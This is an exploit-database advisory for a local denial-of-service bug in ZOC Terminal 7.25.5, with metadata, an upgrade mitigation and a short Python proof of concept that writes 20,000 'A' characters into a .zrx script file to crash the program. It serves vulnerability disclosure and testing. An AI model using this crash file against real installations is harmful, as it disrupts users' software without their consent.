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vendor:
ZOC Terminal
by:
chuyreds
7.8
CVSS
HIGH
Local
400
CWE
Product Name: ZOC Terminal
Affected Version From: 7.25.5
Affected Version To: 7.25.5
Patch Exists: YES
Related CWE: N/A
CPE: a:emtec:zoc_terminal:7.25.5
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 Pro x64 es
2020

ZOC Terminal 7.25.5 – ‘Script’ Denial of Service (PoC)

A local denial of service vulnerability exists in ZOC Terminal 7.25.5. An attacker can create a malicious .zrx file with a large amount of 'A' characters, which when opened in ZOC Terminal will cause the application to crash.

Mitigation:

Upgrade to the latest version of ZOC Terminal.
Source

Exploit-DB raw data:

# Exploit Title: ZOC Terminal 7.25.5 - 'Script' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.emtec.com
# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe
# Tested Version: 7.25.5
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
# 1.- Run python code: ZOC_7.25.5_Script.py and it will create a new file "exp.zrx"
# 2.- Open ZOC Terminal
# 3.- Select Script > Start REXX Script... 
# 4.- Select "ZOC_7.25.5_Script.zrx" file and click "open"
# 5.- Crashed

cod = "\x41" * 20000

f = open('ZOC_7.25.5_Script.zrx', 'w')
f.write(cod)
f.close()

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